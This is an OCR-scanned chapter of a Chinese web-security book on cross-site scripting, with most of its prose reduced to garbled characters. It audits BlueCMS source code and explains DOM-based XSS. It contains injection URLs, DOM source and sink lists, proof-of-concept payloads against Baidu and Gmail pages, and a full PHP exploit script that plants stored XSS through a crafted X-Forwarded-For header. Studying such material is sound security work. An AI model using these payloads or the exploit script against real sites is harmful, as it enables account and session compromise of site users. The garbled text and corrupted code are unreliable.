e Foke ik, n AR R AT RESS I B 2 14 XSS Wi, fkn] SR A7 R AT Web AR5 &AW T,
BEar il B AR PR dACRS b R B s R R R, BT SRR B L ) J 5 | A ) e A . X R AR AR
4 Web ik %5 85 i (O R ACRS, W ASP. JSP. PHP 4.

AT AN, XSS B JRERE ) HTML "PiE AFPUTEE A, F1KZ 5 Web L2 HKiH—
FE, ERIPER B TASIEF S S0 H 38 TS R . MR 45, XSS =4k A TR % im, FrLAR
M H 48 XSS Haki, BMAAFMRS IFEFE T, T Web RS 4w il k& XSS LEERRH
MR R T NZ

S ATIRACIE A XSS MM MU ArakelREfE il AR, RS E AR S 2 =,
PR BRI L i (AL L R, AP T E AT 5 4 htmlencode().Z 2 ) o HOL €

HtmlEncode ¢ #1115 FH A6 HTML J3C 4 h A e v B 7 FF i A T4, 03 299 LL T F
P >t &t GF, VRE TR S AP T R MRS I Z T E, W ASP ) Server. HTMLEncode
J7#2:F1 PHP [¥) htmlspecialchars() g8 3 .

fltn, £ Web MiHI*h, input. style. img % HTML brid ()@ tE(EUE R v e sh&E N,
input FRIC A value JE W LB AN 7, .

| <input type="text" name="msg" size=10 value="<?= Smsg?>">

X B f8msg 15 b ah &N A R E TR L, RATAE2: ™4 XSS. WRSmsg &K A/ #0%
A, LR ILE O R XSS fURS, .

test"><script>evil script()</script><"

Ig)a, SUMLRPIE R W F .

11 <input type="text" name="msg" size=10 value="test"><script>evil_script()</script><"
i "™

WS 2, FRATTAN o] A" fi S0 i A8 L2248 &t ol 2) 25 4 A0k B P I HLT LA e #2200 7 3 o 4K
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%5 A i R RSPl 5 T . BCBUIR 25 28 S AE ] PHP i 5, RATTEU AT LUK 42 R 28 RLAR A G 75

X
PHP #£4t T LLF LA EA SR, WFE 4-1 Fis, o UE— AR 2 ER AP ER.
x4 2RTE
EJSES | . it A
— %I}u%mfﬁlﬁﬂtﬁﬁnﬁ ) 4 3 e i _ B
AE T RN RA A DR SR

IR 5598 R AT BRI A B

$_SERVER $ SERVER & MuF T i# 03k {5 B (header). BifE(path). LLIBIAALT  (script locations) ™5 {i5 KL
(%l

— HTTP GET it

- it URL 2 $ottis e 2B A oo 4 i i #e

$ POST HTTP POST A&

- ik HTTP POST koAl is & 2y B A i) 72 B ) #c e

5 VILES HTTP i B4R

- Mk HTTP POST Ay U b 022 i B A (9 30 H (0 ¥4

§ o HTTP Cookies

- it HTTP Cookies 7 =1k #h 29 Hil 1A ) 48 & 1) B
Session AFfE

SESSION

. MNTRA o ] SESSION 48 it i) #41

$ REQUEST HTTP Request ¥

- AR F & T $_GET, $_POST I $_COOKIE [F)¥4l

§ OV A

- T8 3o BT 7 A T i A () R [

PL b4 AR R AR o] LAYE AR a7 o i B0 %, K& al LLEN L P s A ], o,
$ SERVER. $ GET. $ POST #l $ REQUEST £ IR iKHUH /= s N, 768 F R MSHD o it
b B V) X A .

R, AL BlueCMS 45 0 #1317 UK

FES R R AR BA, BAVLAAE —EL I TE, WES Web BRI & HH, v LUE
I SCAgm#E T 5L, i1 Dreamweaver. Notepad++. EditPlus 55 . JX H LA EditPlus 1F 2424 T H . EditPlus
AR K ZfE, B BT AR A SCRS SO 36 T 1 SO AT X T 1R .

WA PN BT EditPlus, SRJEHEEILITIF, 76 “HME” PR FIES “fEXFh AR &4,
Wil 4-6 o, SR S B 4-7 B 0 7 4RI TS HE .

FEBERAMAN “$ GET”, 7E3CHF2ERIBT “* php”, 3¢ H 7% +#F BlueCMS 352 % FTTE L
e, [FIN2E FAH “asFo0mde” SERE, MG [AR] &4l —SJLERMEK T,
i 4-8 fik.

111

PR TYRMAY B /7 NUPY//WWW. L /NUan.com  £R 25 ST Pt M ay AN ZH R /7 T8 4% NUPL//T.Q.ConVKUDas DIoY M )m QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

RAR ZRSGEBPIE s

A EditPlus

Q) WEE NEQ RNl YEQ TEE TAD I
(A @ ey :
E
[F:]
£4
= Frogram Files
| EditFlus 3 - & 1: L ~ (o]
- INARD: ¢ oo v (W]
w3 @ 4 5 v
FiE X * TR Q) P \APMServS 2 B\www\htdses\bluecns m
CIFRITRaM &) ]S C&smxAR @ DEIIII&QJ
LIESxAE @ u:;mq: LI TEMERAS Q)
R rEReT CATF Dm&*mam
AE -6 FERBHEHIEE aE 4-7 FHFEE
8 FditPlue — [F:\APEServ6.?. 6\www\htdocs\bluecas\ad js. php) =14
TEMHE REQ WNEY BEQ YEQE IS IAQ MESE WOo ko e x
T AdQ e T a = P & o A e | =] :!.il;“ 2
@ B/ UAEF m v diesde DT Meavwe Jok TE R
B =0 e e Tt | e e i s i 2 s oy
[F1 v
£

Frogram Files
EditFlus 3 iifempyie

ANSL CTL -
eodepage. txt
CONTROL. CTL

cx stx
exp etl &

it
WHLE (=.9) »

# ad_js phy :
WEME, AE N ® i1z W17 @ 2 I ARSI

AE 48 BREF

£ EditPlus Ffi4 F 7 SRR R G R, R G SO, HEN RN g Ry,
RIGHHNRMALRRA ST IERE. B w R B b,

Wiki B EEE R, Z3CHR “\bluecms\ad_js.php”, MZE 12 T TG, RELW R4S A]
REAT 7Ed6 T -
| $ad_id = lempty(S GET(['ad_id')) ? trim($_GET['ad_id'l) : '';

if (empty($ad_id))
{

echo 'Error!':;
exit();
}
Sad = Sdb->getone ("SELECT * FROM ".table('ad")." WHERE ad_id =".Sad id):
if($ad['time_set'] == 0)
{
-i $ad_content = $ad[’'content'];
}

R P
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43 BEREBRLHIT

else

if(Sad['end time'] < time())
{
$ad_content = Sad(['exp_content'];

Sad_content Sad['content'];
}

}

$ad_content = str replace('"', '\"',%ad content);

$ad_content = str_replace("\r", "\\r",%ad_content);

$ad_content = str_replace("\n", "\\n",$ad_content);

echo "<!--\r\ndocument.write(\"".3%ad_content."\"};\r\n-->\r\n";

>

EXBAE Y, AR TS GET JikikiSad_id &R, HEWMPHELEST LT, K56
$ad_id Wt B AR A MDA ), FRAE™A T 4 SQL yES .

HEHETH, Sad AEMEMERE, B/EHRE T 8ad content. %2R H M str_replace()eh
Xm0y \n” FFFRFHEAT 7 ALER, TR TX “<>” M. FREEE TR
[ echo "<!--\r\ndocument.write(\"".$ad content."\");

AT H AT $ad_content FTENETLH L, Ml FB— BS54 .

[Hi, £ BlueCMS [ ad_js.php STHFA 2L 7 PR, 535002 SQL AWl RS 34 B ARG A .

SQL ¥ 5 i il -
[ http://127.0.0.1/bluecms/ad_js.php?ad_id=1 [SQL Injection]

B St R A ki«

| http://127.0.0.1/bluecms/ad js.php?ad_id=[expliot ]

LD L 8 L FLB Vs iRl BT -

I http://127.0.0.1/bluecms/ad_js.php?ad id=<script>alert (/xss/)</script>

XSS MR P 4-9 s,

| Er - 3 x) [E e e mE 7 -l o ]
1 &1 hitp (VIZT 0 0 (/b ueons/ wd_iv phe®ed_i d= Cueript sl er s (funad b serapn -

I
| Errors Query error:SELECT # FRON blue_ad WHERE ad_id =
i

® 4-9 BlueCMS XSS
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B, WAFAEBAT AR RIF ORI A R P EURIL I AR Z AL, MO &A1, B LRIy DAL EE . IS ERRAIRE, SR A TERR
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®4E %I XSS EAEE

A L PR, 3 HTML 18RS i 4-10 Pros.

2@ heep /1270 0 1/ blueens/ad_js pbw?.a_.a:ﬁa.pthlulU;1yll<.‘|<ri3!>m“m R
Error: Query error:SELECT * FRON blue_ad WHERE ad_id =
e REQ SLo FEQ EHE

Error; Query error:SELECT = FROM blue_ad WHERE ad_id ={script>alert(/xss/)
</scripty<bri<bry>

AE 4-10 TEASSTTHMFELE

Bk, AT AN E] BlueCMS (1) — AN 52 5 704 5 3l B A S i

WA TTHE R, WSRAR I LUE AT R AT TP SO, BRIt AR R TR AT AR
5, %A% SRFER I —PEI L A0 BditPlus J5 W) R RIRGRCF %, AT ILAFAY T FLAE 7k B G
FHRIH R

B2 T ORAMHTEL POST 8¢ SERVER JEIKIRIGAERL, X8 it —MeRAE (S, M TSR
FFAKLH) XSS,

17T BditPlus, BRI —HEMMER R, 5IMEMEXE TS GET SRS SERVER, )5
iy LI ) Hl, AR B % el BN IRUR 5 TP 16 BT REAECE XSS W, AIXAY
B F:

! function getipl()
B
i if (getenv('HTTP_CLIENT_IPE'))
i {
i $ip = getenv('HTTP_CLIENT_IE'):;
}
i elseif (getenv('HTTP_X FORWARDED FOR'))
i { //BBEPFHARERSSEHEINAES ip it
i Sip = getenv ('HTTP_X_ FORWARDED_FOR');
: }
g elseif (getenv('HTTP_X_ FORWARDED') )
: {

}
elseif (getenv('HTTP_ FORWARDED FOR'))

{

$ip = getenv ('HTTP_X_ FORWARDED');

$ip = getenv ('HTTP FORWARDED FOR');

}
elseif (getenv('HTTP_FORWARDED'))

Sip = getenv('HTTP_ FORWARDED');

AL T B e o RS R A

$ip = 5 _SERVER['REMOTE_ADDR'];

B o e

; return $ip;
i !

X EACH fEARI R 3 1P B, KU HTTP_CLIENT IP. HTTP X FORWARDED FOR.
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HTTP_X FORWARDED. HTTP_FORWARDED FOR. HTTP_FORWARDED #1 REMOTE_ADDR
HEAT M. XA R K& g 1P (OFREEAE i, 1T getenv()AI$_SERVER (A —FE, Hitk,
AT ey LLid & & HTTP kA5 B R Ohi IP 5B XSS.

FEAT UL getipOfE B KB TFUT AR, REELEHAE TR, BESR0E 4-11 Fros. AE
4-11 15|, include HF F ¥ common.inc.php SCHFAEH] T getip() X8

AE 4-11 T getipleip=x

ARARES 4 F -

if (empty(Scontent))
{
showmsg ("FIEABRENS");
}
/ /BT K ARHD -

$sgql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood,

content, pub_date, ip, is_check)
VALUES ('', '$id', 'Suser_id', '$type’', '$mood', 'Scontent', '$timestamp’,

'".getip().""', '"S$is_check"'}";

Sdb->query ($sgl) ;

7 /BT E AR

else

{

showmsg (" A ERMIN ", 'comment .php?id=".5id. "&type=".5type) ;
}

}

MACHL T LAE 5, getipO# ELEEIGAZI T table('comment')#, i L&A Sl (Fa (L uE. BrLL,
XL LU Ohi 2 P 1P AR ROk AR XSS, FLUCkit, Ry HTTP ki) X-Forwarded-For
AF ki, 4% X-Forwarded-For ##pk XSS 145, RESHEBAEE D, HFEFHE 1P &R (XSS 455)
R H St Al FH i i 25 72 42 XSS

MR, FHE#EMH PHP 5%%S — il IP MR, # XSS Shellcode 5 it
X-Forwarded-For 1. XSS Expliot {Uig i F:

<?php

set_time limit (0);
errEr_reporting{O]:
print ("

[+]----BlueCMS v1.6 XSS Exploit----[+]
'):

if(Sargc!=3)

die ("

Example:r>php bluecms.php localhost /bluecms/
')
Shost=%argv([1l]:;
$path=Sargv(2];
Sdata="";
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ST PRt BORM Bt S 2, AT AN R A B AT Ak, A5 IR 25 FAT 1) SE R BRI A AR SEIE ST . DR BERERIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

B4E KR XSS _}‘Eiﬁ]_‘&ﬂ’fﬁ _

Scmd = "mood=6&comment=test&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB";
$getin=" 00','1"),("','1','0','1','6", (select 'XSSed<script>alert(0)</script>'),
"1281181973",'99";
$data = "POST {$path}/comment.php?act=send HTTE/1l.1l\r\n";
$data .= "Content-Type: application/x-www-form-urlencodedi\r\n";
5data .= "Host: Shost\r\n";
S$data .= "Content-Length: ".strlen($cmd)."\r\n";
5data .= "X-Forwarded-For: $getin\r\n\r\n";
Sdata .= Scmd;
Sfs=fsockopen ($host, B0) ;
fputs($fs, $data);
fclose (Sfs);
if (preg match ("/XSSed/i",file_get_contents({'http://'.$host.$path."'/news.php?id=1"')}}{

print "XSSed";
lelse{print "failed";}
2>

PR b g AT

$getin=" 00',"1"),('","1','0"','1",'6", (select 'XSSed<scriptralert(0)</script>'},
*1281181973",'99";

XATACHHE XSS Shellcode Hfi A B . X HT #111) SQL #A)ACGH T i i 48H
$s5ql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content,
pub_date, ip, iﬁ_check] VALUES ('"', 'S$id', 'Suser_id', 'Stype', 'Smood', 'Scontent',
'$timestamp’', '".getip()."', '$%$is_check')":

I L0 getipOREAL R LRI (RSgetin 456, J1I T 61 SQL WP A—AN31%3, U544 A Hchh
PR — R BRI 2, 5B AR LR e R RA R . HEISBIWT [ content 5 A XSS A0S, H
F content 7 BUAER 0BT P IVERR S, BT BA— MRS WORE BT ).

WAE, 44T Expliot ErEME. M2 TN PHP Fi{EMFEF Ha%, %A “php bluecms.php
localhost /bluecms/” FF4UAT, WK 4-12 Fros.

7 C:\WINDOWS\systend?\cad. exe
P [hEE 1. ]
2001 Microsoft Corp.

C:xDocuments and Settings Administrator>f:
F:~-APMSerevs .2 .6~PHP
.2 .65PHP>php bhluecns.php localhost ~<hluecms~

Exploit [+1

B 4-12  $h47 XSS Expliot

% Expliot ({31 K& 1) BlueCMS (%5 — 4871 Chttp://127.0.0.1/bluccms/news. php2id=1) % i%
FiPie, PFIRNARSA XSS L5,

AT XSS Expliot Jii, FI9WBLAs Uy o) i o, SEi, #f 7 —/> XSS XHiEHE, wniE 4-13
B
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Ou- O A6 mmlemn @ LA @
U0 8] hup: /11270 0. 1/blusens/nevs. phe?i &1 v e vl
70\‘ EEENE BR SEd whEE q

&iht-hshd

E
1
ks

Bm -&!ﬁlﬂ aEER

EFEaTE : @7 ieand - e

|
|
| b

aE 4-13 HFT XSS

PR A A BAEPE D blue_comment £ (AR MIEINER) FINZE, WE 4-14 P,

- - com_id post_id user_id type mood content pub_date ip
oL x 1 1 0 1 6 &lt xss&gt xss 1324110612 127001
il 9% 2 1 0 1 6 test 1324119021 00
o & X 3 1 0 1 6 XSSedescript>alerti0) 1281181873 99

</scnpl>
1 &% (U #70 2 X[E

4-14 EFREEEARER

XSS I S T content F B, % BRI P IFHENE, WREEEFRIAS XSS A
W, gESgRETE, mEPE Rk

Mskbs b, TAVFEATEENIFE NN Shellcode, i & X Eb bR 7 1P FBUA#EE M)
content 7Bty A XSS 9.

BN XSS BT HTML A i 4-15 Fros.

Fie

g Too] THE REE SR0 SO WH

<div class="com_content™
ig="c_contentd" onclick="show detail(3) ;"> Ry e T VIS O g Ror et Ly /o
{div style="display::none;cursor zhan

class="com_content” id="com_detaild’ onclick="show detail

#F T (3);72x5Sed<scriptralert(0) (/script>(fdivy
<fdivy <div id="send_comme
- FEEEESEF  <a href="user.php?
act=1login&from=L2JsdWlj y M'Jl'll-- B arennsp; | tnbspica
CIZERE S nref="user .phpTact=reghfrom=L2 jbXMuL f AWQOHY == >i3=_ﬂ-£-<fa>quu
D : <div id="mood">
b Culy

AE 4-15 XSS TIAE AR H
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AW R XSSWHEE

[78 savaScript 88 447

EAGHE T, #itxt Web FFRRIEEAT &AW, 0T LU M H oK dik B2 7e B FH AL Fe v i
SN . BRUGZ &b, AT LML 4 BT % P 1) JavaScript %R & XSS.

#f2 JavaScript, AT E RIS U MK AR, B EKE - EREMSZ 2N ER
— 34y, U JEBER JavaScript FEFFEEKER 2 dh s (f FH 76 S Fpin &, FUAEI IR 22 4 ) Btk H W € .

H1T JavaScript ThfiEs ok, fEFFH] Web 2/ i 24, HEAEHREM P ARAMR L. EXid
Rz, S H P R R N AT $ I Ak B R o] RBP4 XSS

F T2 R — R ) XSS——DOM-Based XSS, M XSS P78 5 4 2m%, DR the 2 AR
R4

441 DOM &7

%3] DOM-Based XSS Z fl, ATH %L T # DOM.

FTif i) DOM 22 R AT 28R (Document Object Model), 2 — 1 FE&HLHESFILH
O, BERFMEA T LA AV A EH RN, SRRER. 7 Web FRSBHERIR
#4, DOM EEERFFRERAKETIH A REMBEENEARZ —, W HJLFERA fIBLAGH 28
# 2 ¥F DOM.

DOM Z& 5 & —/ %i& XML SCRIMIFRME, HTML SCRYM 0 W28 f B R BERE R XML 308Y, #
TixXse RS, e LLUlid JavaScript #42 U5 R E17.

B 4-16 Pros b — AT A HTML WA, SR0R SR — 0l s.

Tar @sEBE WY FRE =EE IAD =mH

- 0 X w ¥ B U ©fley/Coocumants ar 77 - (M- JuN- B h,
| filez/jjCy Docu... H/shopping.html | = ;

WinE=E

= .
aa -

L )
i
Al B =5

e S . '*‘ir‘_ 2 =

AE 4-16 HAERMPFLEE HTML 3084
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44 JavaScript REBSH 7
FRN ) HTML 8340 F -

<html>
<head>
<meta http-equiv="Content-Type" Content="text/html; Charset=gb2312" >
<title> JAMIHAHE </title>
</head>
<body>
<p title="reminder"> MWiPME </p>
<H1>™&: </H2>
<ul id="purchases">

<li>#FfH</1i>
<1i>BH/</1i>
<li>FH¥E</1li>
</ul>
</body>
</html>

iXfr HTML SCRS AT LA B 4-17 PR R R .

(.huul ]

w4

— Y S
, .
| head ‘ [hntl}' J
\ / \

e -.\.1 - ‘\ H‘. \_! \ ‘-.\
| meta | ‘ln.ls’ [ hl | [ p l I ul |

aE 4-17 DOM AR

b 4-17 Brax, DOM 2x4F XML ORI b R B AR S5 4, LUK SR BR XML SCAF 4 5 (9B

BATHKAI T — XA TR L4 . BT P BT A e E A & fE<htmI>, B Li<htmI>FRaE S
FiHE, WA L. WMRXRERITIERMRLE, XD <htm>PREER M.

ERXANIRERAN R, BAE K <head>H<body>M A48, EAMFETR—EZXKHAELA
L, FTULENTRR SRR, AFKRKNLICE<html>, HYXEHEH TR, FLLE&E 2
HAth— L0 RS TT R FeAl B R S A RE BEAR ] -

AUHLXF R S R K RIL S, AT LAE TG ER 2 18] ) 5K R 18] B S i S 2t o

RS BT SRS, £ DOM BIFEF B ARRRIN A, EEDH 3 Fh: JTRITA.
AN L R AL

® LETR.

£ “WPHT A" 7, <body>. <p>. <ul>Z KMTCHERLE AR T CRSH,
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Bad B xss’sﬁs;ﬁau#f

EATIBIRE TG HE N

® AV

SCRAEH AR, XN AR Rl ORI, IRTIAE T, <p> R EH IR XK
MWL, EHR AN R

® JREMEN A

JCEBRE D AAT - Lefm vk, JRYEH] T o s SRR R, B, REBRETCHEEAT
A title JEPE, T FRAT AT AR AT X — s A0S £ 3 75 o o I P 204 HE A -

| <p title="reminder"> FRiMME </p>

1 DOM 1, “title="reminder"” J&—J@ L5 .
T, EALKEREIFEA AR DOM XSS,

442 FE=F XSS—DOM XSS

AP | TN REE PR R WL XSS KA. R Y XSS FFERERY XSS, BN RIME —F
BERRMAT R . s b, R4S T DOM (1) XSS (DOM-Based XSS) th3L7E N, IABAFLE 3
Tl 288 261 (1 5 ks fOR A i

45T (1) XSS Wil OS5 78 XSS BRAFA# Y XSS)— it BLAE Mt % 28 4 8%, ifi DOM-Based
XSS T DOM R SRR i) —Fhikaila, FrLA, 32787 du ) B0 A% 6 A ASACHD B 5 i o

WATATAR, 75/ % JavaScript 7] EAV; a] 30 53 85 ) DOM SCACX SBERY, (K gbfEss vse B T nk
PO URL. #ef)ifist, %7 % B4Ry ol LUlLE DOM shEMR R B SOImA A, e
ficast 11 55 2% i A KA 1T AN ) i 3K 73 DOM wh 3RS ClnA\ URL rhRIREH ) FFEA AT .

Y71, YA T LA DOM -2kt %, filin URL. location % . FH P 7E7% J i
o N PRV B d SR A 7 7 O JavaScript RIS, X U R A B AT 200 1 2 A aE R B, I8 AN TR
Rk al fig 2 3 5L T- DOM 1) XSS Heili.

KT i RKEEEA e, TAIESEIEA . T F HTML 433:

<html>

<head>

<title> DOM-XS5S test </title>

</head>

<body>

<script>
var a=document.URL;
i document.write(a.substring(a.indexOf ("a=")+2,a.length});
H </script>

</body>
</html>

LA EACHS R A7 E domXSS.html ', 4R f5 HI o0 5 8% U il -
http://127.0.0.1/dom¥SS.html?a=test

S, DO FERATEN “test” R B, Wk 4-18 fran. LAfCH7ER T URL it b B3R Y
th a ZEME, FHHEXMEEATHE K HTML FHACE H

i

]
4
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4.4 JavaScript A

aI'IZ_ll-'.-.':i::'- test - ¥indows Internet Explorer

THE KEQ ZFEW wwRe IAD WO

Qrt- O AN e e @
PR ] heap //127.0.0. 1/ doakSS. html7s=test

test

a® 4-18 MHk dom xss

i, AT AT fiE2LL JavaScript fCHSME N a B8O, SEUXBACHBZIA S A T
. kAN R R K

| http://127.0.0.1/domXSS.html ?a=<script>alert ('XSS')</script>

Sl A_EdBERT, RS 4% E 65 ERA K HTML §83CA, 3 W 88 24 HTML SCAH##
Bk DOM, 48U %5 2% 1R [FCHD —FEAT, S5 4-19 Fios.

2 DON-ISS tost - Winduws Intarmst Explocer |

Qme- o ¢ 0 Jnw Joemx @ 2

€ huep /7127 0.0. 1/ donXSS. hial7es{seript >alert ( XS5’ )4/ seript>

Hicrozoft Internet Explorer FK_

a® 4-19 document.URL g% DOM XSS
bl W, DOM XSS 52 % F b AT (5w, By LMt 4087 % 7 356 JavaScript (8 4730, {#
A 3T XSS i
W2, o] A4 REA i i L XSS ?
JX I i S A TR A P ) Rt N UR,  Hea] figfih & DOM XSS (1) & 1 -
document . referer B

window.name R4
location B

[ b2 45T 3 Amit Klein 9 2845 webappsec & %k # 3 DOM Based Cross Site Scripting
or XSS of the Third Kind. X% L& iE41HFA T DOM-Based XSS [KF 2SI A, 5134 Ti5%
0] el A& %A ) DOM X% CFELL SR, dal Ul LL Fak3kE e 245 8.

! http://www.webappsec.org/projects/articles/071105.html
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Fifii, A1 LL document.referer il location 4747 1% 8 .

document.referer J& ¥t & 'E T 1 /76 b — /N T o BEEE 3L 24 RT DU A URL K38, WM
LAl fg5 )k XSS, Fkh—B POC fUid:

<html>
<head>

<title> DOM-XSS test </title>
</head>
<body>

<a href="http://127.0.0.1/domXSS.html">Demo</a><p>

¥ B: <script>document.write (document.referrer);</script>
</body>

</html>
ok, A VA% UG ) LU R
! http://127.0.0.1/domXSS5.html?XSSXSS<script>alert('X55"')</script>XS5X5S

Bl 4-20 Pros ASE — VTR 4R . TP iEf 4 Demo BZRBRE, ZEEREKIEM

http://127.0.0.1/domXSS.html, WAL T A L . Biize, SRR — M,
4-21 fiios.

55 test Yindows Internet Explorer

e WEE HEY e IAQD WHY

. Y 3 @A O
- o (1x] 1B @ JEw Jremn £ (3- 5 M -

HELD LY 48] http: £/127.0.0. 1/ doalSS. htm17XSSYSS<script *alert [ XS5 )4/ script *XSSXSS

Demo

¥*8:

AaE 4-20 W dom xss

Qme- O & F&H O smE {5

- g 0 -

o 4-21 referrer B4 XSS

IX/~ XSS POC Mt AfE i e s b % 7
JEFEER A, LA EACI% T document.referrer JR P, 08— ¥ Ia] % 01 i A B A
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44 JavaScript KBS
FriA BRIkt — A& A URL K7=4 referrer, 94 di5ERem, @REDAT XSS A5,
[@#E, window.name /B, f035—LL location (K@ EFHEE AL DOM XSS Jil . WE i 4L5:

<html>
<head>
<title> DOM-XS5 test </title>
</head>
<body>
<script>
document.write ("Site:"™ + document.location.href);
</script>
</body>
</html>

LRARHESH, location At JavaScript FEEMHERL N B IR, M locationhref FEEEETIHE )
URL. WRAH5% 1 DOM XSS, wJLAfES FIRICHSH HTML SCR4f) URL Ja%iA JavaScript 1€
5, tbin#<script>alert('XSS")</script>, #RJa A 24¢H document.write BE{THiIH

Vil http://127.0.0.1/domXSS.html?#<script>alert('XSS')</script>{# it FH FI B R, W 4-22 iR,

3 DOR-ESS test - Windows Intecuet Explocer = . . .

1 L= A 2 Pl §
| « G X e ¥a s nE O EEE @ T g

| M4 50 (@) huep: /7127, 0.0, 1/donkSS. hinl7#Cseriptalert € XSS ) </seriptd -

Site:http://127. 0. 0. 1/domXSS. html 7#

Nicrozoft Internet Explorer _rx.

A& 4-22 ocation.href & DOM XSS

EAREIH, HRASSICH T E HTML XAMHTRC DOM, % URL JRPEEMN B85 A
HTML SO =4 XSS, thAh, #5735 85 AN 2o 2 e S 3% 0 25 7 F R A B %5 4%, 1T
A=A “R B s AR NISAT .

DOM XSS Fl 2§ %1 XSS fRARL, Il 77 ZEFAL— 44 1 Uy DR b 3 1) URL SRAAAT B AR
MR Z AELE—E M 2ES, B, Dom XSS ) URL AL# A X SRS 4%, 1 RLE /3 %
MAHNAT, PrEAEE XSS Ry ibh 8K, o 5k LAB 4.

443 ERiEET DOM 89 XSS

KAAEET DOM [BE i BIA R, FESCTEP I A SO BN A0 f s .

A TAER I ALk, Fu{EH documentreferer. window.name. location %%/ fig
PR R A, T S 7 FE GE A T B AE 0 i R vl pR B, B 0 innerHTML . document.write
%.
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Ba® LI XSS BRI

BANFHREF Amit Klein A58 3P 55514 8.

document .URL
document . URLUnencoded
document.location
document .referrer
window.location

document .write (..)

document .writelni(...)
document .body.innerHtml=..
document . forms [0] .action=..
document .attachEvent (..)
document.create..(..)
document . execCommand (...)
document .body. ..
window.attachEvent (..)
document .location=...
document.location.hostname=..
document . location.replace(..)
document.location.assign(..)
document . URL=...
window.navigate (...

document .open (...)
window.open(..)
window.location.href=._
eval (..)
window.execScript (...)
window.setInterval (..)
window.setTimeout (..)

LA 38l LA SR A A 2 DOM XSS X%, JLAFERE: BRERHH s 28 B, Ehan s SE 4k
document.write FLERAEF T, RIGFREIWAR SR BORMELR, AF AP RS S HRIA .

B2 FRLELLA DOM XSS Z G341 #T .

ALK A I Z 1% DOM XSS, Wild R IE ZR. XA XSS HBLZE S ) ) 61 2 1§
Fab, HwiACHW .

<form name="forml" id="popFormSubmit" action="/testuser/commit" method="post"
onSubmit="return checkform() ;">
<input type="hidden" name="ct" wvalue="1">
<input type="hidden" name="cm" wvalue="1">
<script language="JavaScript">
document .write ("<input name="'spRefURL' type='hidden' value=""+window.location.href+"'>");
</script>
HBET KRG
<div id="_redirect_to_passport" style="display:none;">
<form method="POST" action="https://passport.baidu.com/?login" id=" redirect form">

<input type="hidden" name="tpl" walue="sp">

<input type="hidden" name="username" id="_ r username" />
<input type="hidden" name="password" id="_r_ password" />
<script>
document .write("<input type='hidden' name='u' wvalue='" + location.href + "' />");
</script>
</form>

XEBARES T, location.href Z 3 % i document.write ¥, S Eb%IE T DOM [E5 3 A,
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44 JavaSc-ript REGS 4

XAEH P HEEEM L, <input>HRZ(H value HRE RS S, FrUAREM YRS SLAEE,
It J5i F i Y XSS Expliot:

| http://hi.baidu.com/test/creat/blog/#'><script>alert();</script><"'

P 4-23 Pros AT Dom XSS IR .

&/ Bttp: //hi. bai du. con YNNI creat/blog/# >scriptialert (/Baidut frekiSSI /) seriptyd

lessuil-ale@MiieNfilior < AME | & | 2E
GERRRAT S

. |

EENY Y- Iri-1E2 - Tye

aE 4-23 Z=[a)f) DOM XSS

A, BAVHFESR Gmail P— DOM XSS, X4~ XSS H#)L{E 2007 FERBL.
Y1 Google f AN T AT W FdaiEACHS .

<script>
function utmx_section(){}
(function() {
var k='3068818340",d=document, 1=d.location, c=d.cookie;
function f(n){
if(e) |
var i=c.indexOf (n+'="});
if(i>-1)
var j=c.indexOf(';",1i);
return c.substring(i+n.length+1,j<0?c.length:j)
}
}
}
var x=F£(" utmx'),xx=£f("' utmxx'),h=1.hash,t=h.length>1|| !xx| | !xx.indexOf (k+":
bypasscache');
d.write('<sc'+'ript src=""'+
'http'+(l.protocol=="https:'?'s://ssl":"'://www')+'.google-analytics.com'+'/siteopt.js
utmxkey="+k+'sutmx="+(x?x:"") +'gutmxx="+ (RxX?xx:" ")+ (t?'utmxtime="
+new Date().valueQf():'")+(h?'sutmxhash="+h.substr(l):"''}+
'" type="text/javascript” charset="utf-8"></sec'+'ript>"')
}
Y()s
</script>
<script>utmx_section("title")</script>

XBARIS B s LT ¥, R T A8 “I=d.location”. {¥iX: location J&E ]/
af LLEE I A . EHTLLE S %) “h=Lhash”, hash f§—4 URL "1#)5 &4 . F—T4Ls 4,
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126

Ea® gEXSSEEME

AT 7 dowrite $84F, d 18R E LM document ﬁg; Fr LA d.write B/E R ES T, 1 h W3R
7~ document.location.hash.
1T d.write 5| T URL (IS AR, B2 17— AR DOM XSS:

https://www.google.com/accounts/Servicelogin?service=mail&rm=false&continue=http%3A%2
F$2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2&passive
=truelf#"></script><script>alert('xss')</script>&l-=1

U %1 Hash XSS

AATIRA K VFA o T 4248 Flash T ) XSS #il .

T Flash ()#5u5JRFILCR BRI T . Flash (2 2WHFEBANUS XSS, &4T CSRF.
Pt AR EAT A A ., 55 6 AN Flash (KN & AT IR AN A, KSAE R LA
A LA 22 i [ AR R N 2

JATE Flash ¥ ACHE AT, Flash A< £ B N & 4 FE15 & ActionScript. ActionScript 5 JavaScript
oL gl 5 RAL, AR R, i, B0 BER. FEMEAEFREEANREZES, WH
#B454r ECMAScript 5575, FTLL, ActionScript ta] LA 4 B Mk i —Fh B F-BL. RIFER
MEE, WA ActionScript MRS S AHE, o] G5 | kB u A Bt .

PHP F& b1 o] ey it —Fb A7 45U %edE , nU 4 Register Globals, BRyE 4= 528 &t . 4 Register
Globals FFJi 1 i, iR S8 VR H] POST Fil GET Hiif 3K b (1928 By A 31— A< 1928 B 25 ] v,
MRS 2 A . B T & 32FFdi, PHP #:1X phesE BRIA K P BT .

